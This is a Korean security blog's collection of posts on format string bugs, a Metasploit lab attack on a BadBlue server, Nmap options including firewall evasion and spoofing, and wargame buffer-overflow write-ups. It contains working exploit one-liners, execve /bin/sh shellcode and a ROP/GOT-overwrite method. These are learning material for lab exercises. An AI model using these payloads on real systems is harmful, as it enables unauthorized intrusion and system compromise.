레이블이 security인 게시물을 표시합니다. 모든 게시물 표시
레이블이 security인 게시물을 표시합니다. 모든 게시물 표시

포멧 스트링 버그, Format String Bug(2)

포멧 스트링 버그, Format String Bug

저번 포스팅에서 포멧 스트링 버그를 이용해서 메모리 릭을 하는 방법과 %n 포멧스트링을 어떻게 사용하는지 까지 설명하였다. 이번 포스팅에서는 직접 원하는 메모리에 %n 포멧스트링을 이용하여 원하는 값을 넣어보자.

먼저 확인할 코드!



메모리가 제대로 조작되는지 확인하기 위해 저번 포스팅의 코드에서 dumpcode만 추가 하였다.
dumpcode함수를 사용하기 위해서는 dumpcode.h파일이 있어야한다. 



위의 포스팅으로 들어가서 코드를 복사한뒤 dumpcode.h파일을 만들어 붙여넣기 하면 된다.



버퍼부터 시작하여 100bytes 만큼의 메모리를 출력해준다. 이제 %n을 이용해서 아무 메모리에나 값을 써보자.
0xffffd6d8에 값을 써보기로 한다.



0xffffd6d8에 출력된 문자열의 길이인 0xe값이 들어갔다 성공이다! 근데 메모리를 변조하여 공부하려면 최소한 4bytes는 변조를 해야하는데 한번에 0~65535, 0x00~0xFF, 2byte 밖에 수정하지 못한다. 그래서 두번에 나누어 주소값을 써줘야 한다.
처음번에 0xffffd6d8에 값을 쓰고 두번째에는 0xffffd6da에 나머지 값을 써야한다. exploit을 할때는 당연히 엔디언을 생각해서 제대로된 값이 들어가도록 해야한다.
지금은 테스트이고 귀찮으니까 그냥 0xffffd6d8에 0xffffffff 값을 써넣어 보자. 



엄청난 공백이 생기고 0xffffd6d8에 0xffffffff의 값이 써진것을 확인할 수 있다.

python -c 'print "\xd8\xd6\xff\xffAAAA\xda\xd6\xff\xff%65521x%x%n%65536x%n"' | ./fsb1

쉘코드를 보면 \xd8\xd6\xff\xff와 뒤쪽의 첫번째 %n과 매치가 된다. 여기에 들어가는 값을 조정하기 위해 %n앞에 %x%x 이 두개를 이용해 메모리에 쓸 값을 맞출 수 있다. 그리고 다음 2bytes를 덮기 위해서는 \xda\xd6\xff\xff을 %n과 매치시켜주면 되지만 바로 매치시키면 메모리에 쓸 데이터 조절을 할수가 없다. 그래서 임의로 의미없는 데이터인 AAAA를 %x로 출력해주고 이 부분에서 뒷부분 2bytes에 들어갈 값을 조절할 수 있게 된다.

이제 fsb가 발생하면 원하는 주소의 메모리값을 바꿀수 있게 되었다. 이를 이용해 ret, got, dtor등을 조작해 exploit에 성공할 수 있다.
Read more

포멧 스트링 버그, Format String Bug(1)

포멧 스트링 버그, Format String Bug

포멧 스트링 버그는 printf 함수 등에서 사용되는 포멧 스트링(%d, %s...)을 잘못된 형태로 사용할 경우 발생하는 버그이다. 포멧 스트링은 데이터를 어떤 형식에 따라 입력받거나 출력하기 위하여 사용하는데 형식을 잘못사용하면 메모리의 데이터가 유출되고 변조될 수 있다.
포멧 스트링 버그는 메모리 릭, 메모리 변조 모두 가능하기 때문에 취약점이 발생하면 exploitable할 가능성이 높다.

printf함수는 아래의 두가지 방법으로 사용할 수 있다.

printf(BUFFER)
printf("FORMAT_STRING", BUFFER)

포멧 스트링 버그는 포멧스트링을 사용하지 않고 바로 BUFFER를 출력하는 첫번째 printf 함수 사용법에서 발생한다. 만약 BUFFER 안에 %x, %d등 포멧 스트링이 들어가면 printf함수는 그것들을 포멧스트링으로 보고 두번째 printf 함수 사용법과 같이 동작하여 스택 메모리를 유출시킨다.

예제 코드를 작성하여 첫번째 방법과 두번째 방법의 printf함수를 비교하며 동작시 스택에 쌓이는 데이터들을 확인해보자.
간단한 에코 프로그램이다. 7번째 줄의 printf에서는 포멧스트링 버그가 발생하고 9번째 줄의 printf에서는 포멧스트링 버그가 발생하지 않는다. 

아래는 포멧스트링버그가 발생하지 않는 9번째 줄의 printf 함수 호출 직전의 스택 모양과 ESP가 가리키는 곳이다.



printf 함수를 콜하게 되면 먼저 FORMAT_STRING을 POP한다. ESP는 한칸 내려가 &BUFFER를 가리킨다. 
FORMAT_STRING을 읽으면서 문자열은 그냥 출력하고 포멧스트링을 만난다면 POP을 하면서 BUFFER의 데이터를 4bytes씩 짝에 맞는 포멧스트링 형식으로 출력을 해준다.

EX)
FORMAT_STRING = "HI, %d, %d!!"
BUFFER[] = {10, 20}
BUFFER 메모리에는 0x00000014 0x0000000A.
이 데이터들을 pop하여 FORMAT_STRING과 매핑.

출력 : HI, 20, 10!!



이런식으로 문자열을 하나잡고 출력하면서 포멧스트링(%d, %c..)을 만나면 BUFFER에서 4byte씩 뽑아와서 형식에 맞게 출력을 한다.

이제 포멧스트링버그가 발생하는 9번째 줄의 printf 함수 호출 직전의 스택모양을 확인해보자.



FORMAT_STRING 문자열이 들어가 있던곳에도 BUFFER의 주소가 들어가 있다. 만약 BUFFER안에 %d같은 포멧스트링이 없다면 그냥 BUFFER를 출력하고 버그없이 printf함수가 종료될 것이다. 하지만 포멧스트링이 있다면 위의 제대로 사용된 printf함수와 같이 동작하게 된다. 
왼쪽 사진에서 ESP가 가리키는 BUFFER를 출력해 나가다가 포멧 스트링을 만나게되면 두번째 BUFFER에서 데이터를 뽑아서 형식에 맞게 출력을 해준다. 즉 하나의 문자열(문자+포멧스트링)로 출력을 하면서 데이터를 뽑아 오기까지 한다.




위의 예제 코드를 컴파일 하고 테스트를 통해 확인하여 보자.



바이너리를 실행하고 입력을 AAAA %x %x %x %x로 주었다.

위 화면의 AAAA %x %x %x %x 은 키보드입력값이고 그 다음줄에 나오는
AAAA ffffd6a8 40 41414141 20782520 은 잘못된 포멧스트링 사용으로 인해 메모리 릭이 일어난 것이고 I am safa!, AAAA %x %x %x %x는 정상적인 포멧스트링 사용으로 제대로된 문자열이 출력되었다. 

더 보자. 처음 AAAA는 문자열이니 그냥 출력이 되었고 %x를 만났다. 첫번째 %x는 위의 스택그림의 &BUFFER와 매핑되어 BUFFER의 주소가 출력되었다. ffffd6a8은 BUFFER의 주소이다. 그리고 두번째 %x는 더미같은 40과 매핑되어 40이 출력되었다 그리고 두, 세번째 %x는 BUFFER와 매핑되어 BUFFER 맨 앞에 8bytes가 출력되었다. A는 아스키코드로 0x41이고 스페이스는 0x20, %는 0x25, x는 0x78이다.

여기서 이 버그를 제대로된 취약점으로 승화 시킬수 있다.

잘보면 BUFFER의 앞의 AAAA를 뒤의 %x를 이용해서 출력을 하는 것을 볼 수 있다. 우리의 입력값을 우리가 출력하게 만들수 있게 되었다. 만약에 AAAA에 우리가 원하는 데이터의 주소를 넣는다면 AAAA주소에 있는 데이터를 릭하게 될것이다.


코드를 위와 같이 수정하고 컴파일하여 실행하여 buf1에 들어있는 DEAD문자열을 릭해보자.



BUFFER의 맨 앞부분에 DEAD문자열의 주소값을 엔디언이 맞게 넣어둔다. 그리고 %x를 이용해 BUFFER의 주소를 뽑아서 출력하고 0x40을 뽑아서 출력한다. 그리고 마지막에 %s를 이용해 조금전에 입력한 DEAD의 주소값을 뽑아와서 %s형식으로 출력해준다. DEAD 문자열이 릭되었다.

[    DEAD의 주소     ][    %x    ][  %x ][ %s  ] // 쉘코드 구성
[????(DEAD의 주소)][&BUFFER][0x40][DEAD] // 출력결과

스택을 pop하면서 포멧스트링에 맞게 출력을 하다 우리가 입력한 BUFFER까지 pop을 하여 출력을 하게된다. 그래서 BUFFER에 임의의 주소값을 넣고 %s로 출력을 하면 원하는 메모리를 릭할 수 있다.

이제 %x, %s 이외의 포멧스트링버그의 핵심인 %n에 대해 알아보자.
%n은 현재까지 출력한 문자의 개수를 메모리에 쓰는 포멧 스트링이다. 사용예제를 확인해보자.
이 코드를 실행하면 아래의 화면이 출력된다.



%n으로 &i에 출력한 개수를 쓴다. 위에서 확인했듯이 printf의 두번째 인자인 포멧스트링의 형식의 데이터가 들어있는 스택을 조작할 수 있다. AAAA에 주소를 넣고 %s로 출력시켜 원하는 메모리 주소를 릭 시켰던것 처럼 원하는 메모리주소에 %n을 이용하여 원하는 값을 넣을 수 있다.
%n 은 출력한 값들 개수를 메모리에 쓰는것인데 버퍼의 크기등의 문제로 많은 데이터를 입력하기 어렵다. 원하는 값을 맞추기 위해서는 %10d, %100c 등의 포멧스트링을 사용해야 한다.

%n을 이용해서 원하는 주소의 메모리에 데이터를 쓰는 건 다음 포스팅에서 알아보도록 하자.
힘들다.
Read more

METASPLOIT 기본 명령어, 사용법

METASPLOIT 사용법

Metasploit은 펄스크립트를 사용하는 침투테스트도구이다.

1. METASPLOIT 경로
metasploit은 Kali Linux에 기본적으로 설치되어 있다. Kali 기준으로 경로는 /usr/share/metasploit-framework/ 다.

Screen Shot 2015 03 26 at 11 22 55 AM

/user/share/metasploit-framework 경로를 살펴보면 msf*의 다양한 실행파일들이 있다. 여기서 우리가 사용할 실행파일은 msfconsole로 metasploit framework console의 약자고 저장되어있는 exploit 코드나 payload등을 간단하게 가져와 사용할수 있고 명령어를 통해 다른 기능들도 사용할 수 있다. GUI 버젼도 존재하지만 너무 느리고 멋이 없다.

msfconsole을 실행하기에 앞서 exploit코드들이 있는 경로를 확인해보자. msfconsole framework에 맞게 작성된 외부 파일을 가져와 임포트 하기 위해서는 경로를 알고 있는게 많은 exploit 코드들을 관리하기 편하다.

Screen Shot 2015 03 26 at 11 24 12 AM

/usr/share/metasploit-framework/modules/exploits의 경로로 들어가면 exploit 코드들을 여러 분류로 나누어 정리해 놓았다. windows/ftp 관련 exploit 코드들만해도 엄청 많다. 모두 .rb 파일로 metasploit-framework는 ruby로 프레임워크에 맞는 문법에 따라 작성된 코드만 해석할 수 있다.

msfconsole을 이용해 exploit을 테스트해 보려는데 msfconsole에 있는 exploit코드에 맞는 버젼의 프로그램을 찾기가 귀찮아서 exploit-db 사이트에서 프로그램과 msfconsole용 exploit코드가 모두 업로드 되어있는 것을 찾았다.


BadBlue 라는 간단한 웹 서버 프로그램으로 더 이상 업데이트도 없고 회사가 없어진 것 같다.
exploit code파일은 16806.rb로 msfconsole에 맞게 작성되어있다. 이제 이 파일을 msfconsole에서 임포트해야 한다. 
exploit code를 모아놓은 폴더중 적당히 맞는 범주의 폴더에 16806.rb 파일을 넣고 msfconsole을 실행 시킨다.

Screen Shot 2015 03 26 at 11 28 46 AM

GEEK하다. 재시작하면 계속 다른 ASCII ART가 나온다. (http://www.network-science.de/ascii/ 문자를 ASCII ART로 바꿔주는 사이트) 처음 화면에서는 metasploit version, 저장되어 있는 exploit, payloads 등등의 정보를 알려준다. exploit code만 1420개나 있지만 바로 exploit code를 실행시켜 공격에 성공할 수 있는 건 별로 없다. (운영체제, 버젼, 언어등 환경의 문제나 잘못된 exploit code)

2. METASPLOIT 명령어

먼저 콘솔 옵션들을 확인해 보자. help라고 치면 콘솔 옵션을 확인할 수 있다.


- 저장된 exploit code확인 명령어
msf > show exploits

Screen Shot 2015 03 26 at 11 38 17 AM

exploit code가 엄청나게 많다. 이름과 날짜와 위험수준 그리고 어떤 취약점을 이용하는 공격인지 어느 프로그램의 몇 버젼을 대상으로 하는지 간단한 설명이 써있다. 이중에서 내가 필요한 exploit code를 찾아 해킹공격을 할수있다.

앞에서 exploit code경로에 추가한 Badblue exploit code를 msfconsole로 임포트하려면 reload_all을 치면된다.

- 전체 module 다시 로딩
msf > reload_all

Screen Shot 2015 03 26 at 3 33 28 PM

경로에 추가한 exploit code를 임포트 했으면 이제 제대로 임포트가 되었는지 찾아보자.

- 저장된 자료(exploit, payloads, encoder등)에서 문자열로 검색하기
msf > search “문자열”

Screen Shot 2015 03 26 at 3 34 39 PM

msfconsole에서는 tab으로 자동완성도 안된다. 귀찮아서 그냥 /exploit/ 경로안에 바로 넣었다.. 추가한 exploit code인 16806, BadBlue Buffer Overflow 가 보인다. 제대로 임포트가 되었다. 옛날에 백트랙인가 칼리인가에서 아무리 exploit 파일을 경로에 추가해도 임포트가 안된적이 있었다. 알고보니 컴퓨터에 metasploit이 두개가 깔려 있었고 /bin/에 있는 msfconsole 경로가 아닌 다른곳에 설치되어 있는 msfconsole에 exploit 파일을 넣었었다. 임포트가 안될 때에는 msfconsole을 바로 실행하지말고 ./msfconsole을 이용해서 실행해보자.

exploit을 장전하자. 

- exploit code 장전
msf > use “EXPLOIT_NAME”

쉘에도 exploit이 장전되었다. 이제 희생자를 조준하는 설정들을 맞춰줄 일이 남아있다. exploit 마다 다 설정들이 다르니 확인하면서 환경에 맞게 추가 해주면 된다.

- exploit option 보기
msf exploit(exploit) > show options

Screen Shot 2015 03 26 at 3 35 43 PM

BadBlue 의 exploit코드의 설정은 몇개 없다. Proxies, RHOST, RPORT, VHOST가 있는데 Required만 채워주면 공격을 실행할 수 있고 나머지는 진짜 옵션이다. Description에 설명에 맞는 값을 채워 넣어주면 된다.

희생자 (172.16.219.131) : Windows XP Pro SP3, BadBlue Webserver 
공격자 (172.16.219.130) : Kali Linux, msfconsole 

- option 설정하기
msf exploit(exploit) > set “NAME” “VALUE”

Screen Shot 2015 03 26 at 3 37 56 PM

RPORT는 디폴트로 80으로 설정되어 있고(보통 타겟 프로그램 디폴트 값) set 명령어로 RHOST를 설정해 주었다. show options로 확인할 수 있다.

BadBlue exploit에는 필요 없지만 target, payload도 공격자의 입맛에 맞게 수정할 수 있다.

- payload 선택하기
msf exploit(exploit) > set PAYLOAD “PAYLOAD_NAME”

- target 목록 보기
msf exploit(exploit) > show targets

- target 선택하기
msf exploit(exploit) > set  target “NUM”

이렇게 타겟에 맞게 옵션을 설정 해준다. 설정이 완료되면 설정에 맞게 공격을 수행할 수 있다.

3. EXPLOIT


- exploit 하기
msf exploit(exploit) > exploit

exploit 명령어를 입력하면 .rb 파일의 exploit코드를 실행한다.

Screen Shot 2015 03 26 at 3 41 22 PM

exploit 이 실행되면서 몇개의 로그가 찍히고 Meterprerter session이 성립된다. exploit 코드가정상적으로 실행되어 payload까지 진입하고 payload에 의해서 세션 연결이 되었다. (다른 payload를 사용하면 session을 맺지 않고 공격할수도 있다.) 쉽게 말해 타켓프로그램의 취약점을 이용해서 넷버스의 서버파일을 실행한것과 비슷하다.
여튼 meterpreter > 쉘이 떨어지면 공격에 성공한 것이다. meterpreter 쉘은 다양한 공격 명령들을 수행할 수 있다. 여기서도 help (?) 명령어를 치면 공격 가능한명령어들을 확인할 수 있다.

Screen Shot 2015 03 26 at 3 42 50 PM

굉장히 다양한 공격을 수행할 수있다.
난 희생자의 컴퓨터정보를 얻어오는 sysinfo 명령어와 상대 모니터출력을 흠쳐오는 screenshot 명령어를 수행해 보았다.

Screen Shot 2015 03 26 at 3 53 27 PM

희생자의 컴퓨터 정보를 알아내고 스크린샷도 저장이 되었다.

LtSQfmZa

희생자의 모니터도 흠쳐 볼 수있다.
Read more

Nmap options

Nmap option

Nmap 6.40 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}

TARGET SPECIFICATION:

Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL : Input from list of hosts/networks
-iR : Choose random targets
--exclude : Exclude hosts/networks
--excludefile : Exclude list from file

HOST DISCOVERY:

-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-servers : Specify custom DNS servers
--system-dns: Use OS's DNS resolver
--traceroute: Trace hop path to each host

SCAN TECHNIQUES:

-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags : Customize TCP scan flags
-sI : Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-sO: IP protocol scan
-b : FTP bounce scan

PORT SPECIFICATION AND SCAN ORDER:

-p : Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
F: Fast mode - Scan fewer ports than the default scan
-r: Scan ports consecutively - don't randomize
--top-ports : Scan most common ports
--port-ratio : Scan ports more common than

SERVICE/VERSION DETECTION:

-sV: Probe open ports to determine service/version info
--version-intensity : Set from 0 (light) to 9 (try all probes)
--version-light: Limit to most likely probes (intensity 2)
--version-all: Try every single probe (intensity 9)
--version-trace: Show detailed version scan activity (for debugging)

FIREWALL/IDS EVASION AND SPOOFING:

-f; --mtu : fragment packets (optionally w/given MTU)
-D : Cloak a scan with decoys
-S : Spoof source address
-e : Use specified interface
-g/--source-port : Use given port number
--data-length : Append random data to sent packets
--ip-options : Send packets with specified ip options
--ttl : Set IP time-to-live field
--spoof-mac : Spoof your MAC address
--badsum: Send packets with a bogus TCP/UDP/SCTP checksum


1. 포트 스캔 기술

  • TCP SYN 스캔 (-sS)
프로토콜(TCP) 포트를 스캔하는데 가장 빠른 방법으로 지금까지 단연 인기 있는 스캔방법이다. 이 스캔은 연결 스캔보다 더 비밀스러우며 모든 기능적인 TCP 스택에 대해 잘 작동한다.
  • TCP 연결 (-sT)
연결 스캔은 대부분의 다른 방법처럼 로우 패킷에 의존하기 보다는 장치를 스캔하는데 같은 이름의 시스템 콜을 사용한다. 이 스캔은 대부분 권한이 없는 유닉스 사용자들이 사용하며 그런 경우 SYN스캔이 작동하지 않기 때문에 IPv6를 대상으로 사용된다.
  • UDP (-sU)
UDP 포트 스캔이다.
  • TCP FIN, Xmas, Nll (-sF, -sX, sN)
특정 목적 스캔 방법으로 방화벽 뒤에 있는 시스템을 탐험하기 위해 방화벽을 몰래 지나치는데 사용한다. 불행히도 이 스캔들은 일부 시스템이 보여주지 않는 대상 시스템의 행동에 의존한다.
  • TCP ACK (-sA)
ACK 스캔은 보통 방화벽 규치 세그를 정밀하게 표시하기 위해 사용한다. 특히 ACK스캔은 방화벽 규칙이 제대로 된 상태에 있는지 아닌지를 이해하는데 도움을 준다. 단점을 열린 포트와 닫힌 포트를 구별하지 못하는 점이다.
  • TCP Window (-sW)
윈도우 스캔은 ACK스캔과 같은데 특정장치에 대해서는 열린 포트와 닫힌 포트를 구별할 수 있다는 점에서 다르다.
  • TCP Maimon (-sM)
이 모호한 방화벽-침투 스캔방법은 FIN스캔과 유사한테 ACK플래그도 포함한다. 이는 더 많은 패킷 필터링 방화벽을 잡게 허락하는데 단점은 FIN스캔보다 더 적은 시스템에 대해 작동한다는 점이다.
  • TCP Idle (-sl)
Idle 스캔은 모든 방법 중 가장 비밀스러운 스캔방법이며 때로는 신뢰성이 있는 IP주소 관계조차 탐험한다. 불행히도 이 스캔 역시 느리고 복잡하다.
  • IP 프로토콜 (-sO)
프로토콜 스캔은 어느 IP프로토콜이 대상 장치에 의해 지원되는지를 결정한다. 이것은 TCP나 UDP포트 번호보다는 IP프로토콜 숫자를 통해 순환하기 때문에 기술적으로 포트 스캔이 아니다. 하지만 여전히 -P 옵션을 사용해 스캔된 프로토콜 번호를 선택하고 결과를 보통의 포트 테이블 형식으로 보고하며 포트 스캐닝 방법과 같은 스캔엔진을 사용한다.
  • TCP FTP 바운스 (-b)
TCP FTP 바운스 스캔 종류는 FTP서버를 속여 프록시로 포트 스캔을 수행하게 한다. FTP서버는 이제 이 스캔을 방지하게 패치됐다.

2. 포트 선택

  • -p
-p인수를 통해 해당 포트를 지정한다. port대신 서비스가 매치될 수도 있다.(-p ssh)
  • -p 80, 21, 22
, 를 이용해 다수의 포트를 선택할 수 있다.
  • -p 20-23
-를 이용해 범위를 확장할 수 있다.
  • -p-
전체 포트(1 ~ 65535)를 스캔한다.
  • -p http*
와이드카드(*)는 포트와 유사한 이름의 서비스를 매치시키는데 사용될수 있다.

3. 서비스 탐지

  • -sV
열려있는 해당 포트의 서비스와 버젼을 탐지한다.

4. 방화벽, IDS 우회 및 스푸핑

  • -f; --mtu
fragment packets 크기를 조정하여 탐지를 어렵게 한다.
  • -S
source IP address를 변조한다.
  • -g; --source-port
source port를 변조한다.
  • -e
특정 인터페이스를 선택한다.
  • --data-length
랜덤 데이터를 패킷에 추가한다.
  • --ttl
time-to-live 필드를 설정한다.
  • --spoof-mac
MAC 주소를 변조한다.
  • --badsum
TCP/UDP/SCTP패킷에 잘못된 checksum 값을 설정한다.


참고:http://sol9501.blog.me/70102045865
 
Read more

취약성, 위협, 위험, 노출

취약성 (vulnerability) 

취약성은 컴퓨터나 네트워크에 침입하려고하며, 한 환경의 리소스에 대한 허가 없는 접근을 시도하려는 공격자에게 열린 문을 제공할 수 있는 소프트웨어, 하드웨어, 혹은 절차 상의 결점을 말한다. 취약성은 부당하게 이용될 수 있는 안전 장치의 부재 혹은 결점으로 간주된다. 이 취약성은 서버에서 실행되는 서비스, 제한 없는 모뎀 전화 접속 접근, 침입차단 시스템의 열린 포트, 아무나 출입할 수 있는 서버 룸의 느슨한 물리적 보안, 혹은 서버와 워크스테이션 상의 규제 없는 패스워드 관리가 될 수 있다. 

위협 (threat) 

위협은 정보 혹은 시스템에 대한 잠재적인 위험을 말한다. 위협의 주체는 침입차단 시스템의 특정 포트를 통해 네트워크에 접근하는 침입자, 보안 정책을 위반하는 방법으로 데이터에 접근하는 프로세스, 시설물들을 파괴하는 토네이도, 혹은 의도하지 않은 실수로 기밀 정보를 누설하거나 파일의 무결성을 해치는 직원이 될 수 있다. 

위험(risk) 

 위험은 위협 주체가 취약성을 활용할 수 있는 가능성을 말한다. 위험은 위협이 취약성을 부당하게 활용할 수 있는 잠재적 손해 혹은 가능성이다. 만약 침입차단 시스템이 다수의 개방된 포트를 가지고 있다면, 침입자가 허가되지 않은 방법으로 네트워크에 접근할 수 있는 보다 높은 위험성이 있다. 만약 사용자들이 과정과 절차에 대한 교육을 받지 않았다면, 직원이 고의적 혹은 의도하지 않은 실수로 데이터를 파괴할 수 있는 위험성이 높다. 만약 침입 탐지 시스템이 네트워크에 설치되지 않았다면, 인식했을 때는 이미 늦은 것이 될 때까지 공격이 계속될 수 있는 위험성이 높다. 취약성 또는 위협을 줄이는 것이 위험을 줄이는 것이다. 

노출(exposure) 

노출은 위협주체에게 손실을 드러내 보이는 경우를 말한다. 취약성은 조직에 있어서 발생 가능한 피해를 노출시킨다. 만약 패스워드 관리가 느슨하고 패스워드 규정이 집행되지 않으면, 기업은 사용자들의 패스워드가 유출되고 허가되지 않은 방법으로 사용될 수 있는 가능성에 노출될 수 있다. 만약 한 기업이 배선에 대한 점검을 하지 않고 사전에 화재예방에 대한 조치를 취하지 않는다면, 그 기업은 잠재적으로 참화를 가져오는 화재에 노출될 수 있다.
Read more

bofrtl

bofrtl.c source code
Stack Frame


redhat 6.2
vuln : stack overflow
vuln func : strcpy()
exploit code :

./bofrtl $(python -c 'print "A"*12 + "\xe0\x8a\x05\x40" + "AAAA" + "\x20\xfb\xff\xbf"') | cat
Read more

bigbof03

bigbof03.c source code
Stack Frame
redhat 6.2
vuln : stack overflow
vuln func : strcpy()
exploit code :

print "A"*112 + "\x33\x84\x04\x08"
Read more

bigbof02

Bigbof02.c source code

Stack Frame
Redhat 6.2 
vuln : stack overflow 
vuln func : strcpy() 
24byte shellcode
exploit code : 
print "\x90"*184 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x2c\xfc\xff\xbf"
Read more

bigbof01

Bigbof.c source code 
Stack Frame
 
Redhat 6.2 
vuln : stack overflow 
vuln func : strcpy() 
24byte shellcode
exploit code : 
print  "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x28\xfc\xff\xbf"
Read more

fedora 원정대 core 3 hell_fire -> evil_wizard

fedora 원정대 core 3 hell_fire -> evil_wizard

evil_wizard.c


hint 를 보면 GOT overwritting이 써있다. GOT overwritting 공격을 시도하여 쉘을 얻을 수 있다.

strcpy함수에서 overflow가 발생하여 eip를 원하는 곳으로 이동 시킬수 있게된다.
eip를 strcpy의 plt(고정주소)로 이동시켜 strcpy함수를 호출할 수 있고 ret에 poppopret가젯의 주소를 넣어 rop공격코드를 작성 할 수 있다.

strcpy를 이용하여 memset의 got에 system함수의 주소를 1바이트씩 복사 할 것이다. 그러면 memset을 호출하게되면 결국 memset의 got에 덮어씌여진 system함수를 호출 하게된다.

system함수에 인자로 들어갈 '/bin/sh'문자열도 위와 같은 rop 방식으로 strcpy함수를 호출하여 memcpy의 got에 복사하여 system함수의 인자로 넘겨 줄 것이다.

이제 필요한 주소들을 찾고 코드를 작성하면 된다.

먼저 poppopret가젯의 주소는


poppopret의 주소는 0x0804854f이다.

execve로 덮힘을 당할 memset@plt와 memset got를 찾는다.


memset@plt의 주소는 0x08048474이다.



got의 memset주소는 0x08049898이다.
got의 memcpy주소는 0x080498c0이다.


system의 주소는 0x007507c0이다.


strcpy@plt의 주소는 0x08048494이다.

필요한 got, plt주소는 구했으니

system의 주소, /, b, i, n, /, s, h가 있는 주소를 다 구하고 strcpy를 이용해서 1바이트씩 덮어 써야한다.


이렇게 전부다 뒤져서 익스플로잇 코드를 작성한다.


ret부분에 strcpy가 덮이고 인자로 덮힘당할 memsetgot의 주소와 덮을 문자의 주소가 들어간다. strcpy함수가 끝나면 poppopret 이 수행되어 인자 두개를 제끼고 다시 strcpy함수로 들어가는 rop이다.

공격을 하면


쉘을 얻을수 있다.

쉘코드:

Read more

fedora 원정대 core3 dark_eyes -> hell_fire

fedora 원정대 core3 dark_eyes -> hell_fire

hell_fire.c


sfp를 복사해 두었다가 원상복귀 시키고 fgets로 받은 문자를 strcpy하는 과정에서 스택을 조작할 수 있다. tcp 7777로 remote환경이다.

다른사람들의 라이트업을 참고해보니 do_system으로 eip를 이동시켜서 쉘을 얻는 것을 볼 수 있었다. do_system이 무엇일까..


system 함수에서 do_system을 호출하는 것을 볼 수 있었다.
system 함수는

#include <stdlib.h>

int system(const char *string)

이고 /bin/sh -c string을 호출하여 string명령어를 실행하고 fork()와 execve()의 조합으로 실행된다.


do_system함수를 까보면 함수의 밑부분에 sigaction(), sigprocmask()를 호출하고 execve()함수를 호출 하는 것을 볼 수 있다. eip를 sigaction쪽으로 이동시키면 쉘을 얻을 수 있는데 지식이 부족해서 왜 그런지 알수가 없다. execve가 실행되서 얻는것같은데 모르겠다



??

 (python -c 'print "A"*268 + "\x7f\x07\x75\x00"';cat) | nc localhost 7777
Read more

fedora 원정대 core3 iron_golem -> dark_eyes

fedora 원정대 core3 iron_golem -> dark_eyes

dark_eyes.c


sfp를 백업 해두었다가 오버플로우가 발생한 이후에 sfp를 원상복귀 시킨다.
sfp는 사용할 수 없고 ret를 조작 할 수 있다. hint에 RET sleding이 써있다.
RET sleding을 사용하여 스택영역을 벗어난 후에 execve함수를 실행하면 execve함수의 인자로 고정적인 문자열을 넣을 수 있다.그 문자열을 이용하여 쉘을 얻어본다.


간단하게 쉘을 얻을수 있는 프로그램을 작성하고 컴파일한다. 위의 dark_eyes의 권한으로 execve를 이용해 위의 쉘을 얻는 프로그램을 실행하면 쉘을 얻을 수 있다.

ret와 execve함수의 주소를 찾아본다.

execve
ret

ret sleding을 태워서 스택을 벗어난 후 execve를 실행하도록 코드를 작성한다.

./dark_eyes `python -c 'print "A"*268 + "\xfe\x82\x04\x08"*8 + "\x90\x54\x7a\x00"'`

이 코드를 돌리면 execve의 인자로 이상한 것이 들어가서 에러가 발생한다.
strace를 사용하여 execve의 인자로 들어가는 고정바이트를 찾을 수 있다.

strace ./dark_eyes `python -c 'print "A"*268 + "\xfe\x82\x04\x08"*8 + "\x90\x54\x7a\x00"'`


execve로 알수 없는 문자열이 들어간다. strace의 표준에러출력을 리다이렉션으로 저장하여 xxd를 사용하면 execve로 들어가는 문자열의 헥사값을 알 수 있다.

위의 쉘을 얻는 프로그램에 execve로 들어가는 문자열로 심볼릭 링크를 걸어주고 위의 쉘코드를 실행하면 쉘을 얻을 수 있다.


Read more

ARM assembly 공부, bof

ARM assembly를 공부하기 위해서 bof redhat 원정대 1번 문제를 ARM환경에서 컴파일하고 단순하게 어셈블리어만 라인바이라인으로 분석해보고 x86 리눅스에서와 어떤식으로 다른지 확인 해 보았다.

bof 1번 문제의 c코드


strcpy에서 버퍼의 크기를 확인하지 않아 버퍼오버플로우가 발생 될 것으로 예상된다.

c코드 바이너리의 어셈블리어코드


서브루틴으로 진입시 r11, rl 을 사용하여 분기오피코드와 서브함수의 PUSH {r11, lr}로 SFP와 RET를 백업 한다. argv는 r0. r1로 전달한다.
함수를 빠져 나올때는 POP {r11, pc}로 스택프레임과 돌아갈 주소를 복귀시켜준다.
여기서 POP되는 스택을 조작하면 이전처럼 pc를 조작 할 수 있을것 같다.


첫번째 네모가 r11로 팝될 놈이고 두번째 네모가 pc로 팝될 놈이다.
두번째 네모를 덮어 pc를 조작 할 수 있어 보이나 안해봐서 확실하지 않다ㅋ
Read more

gdb script을 이용한 편리한 디버깅환경 만들기

$(HOME)/.gdbinit을 생성하면 gdb가 실행될 때 .gdbinit을 불러옴으로 스크립트를 적용시킬 수 있다.

ARM 어셈을 처음다루어 라인바이라인으로 분석해 보기위해 몇 가지 스크립트를 작성하였다.

.gdbinit














jk를 치면 info reg, x/i $pc, x/i $pc가 실행된다 가독성을 높이기 위해 x/i $pc를 두번 하였다.
jkst 를 치면 sp부터 스택을 보여준다


간단한 스크립트지만 사용해보면, 편리하다..
Read more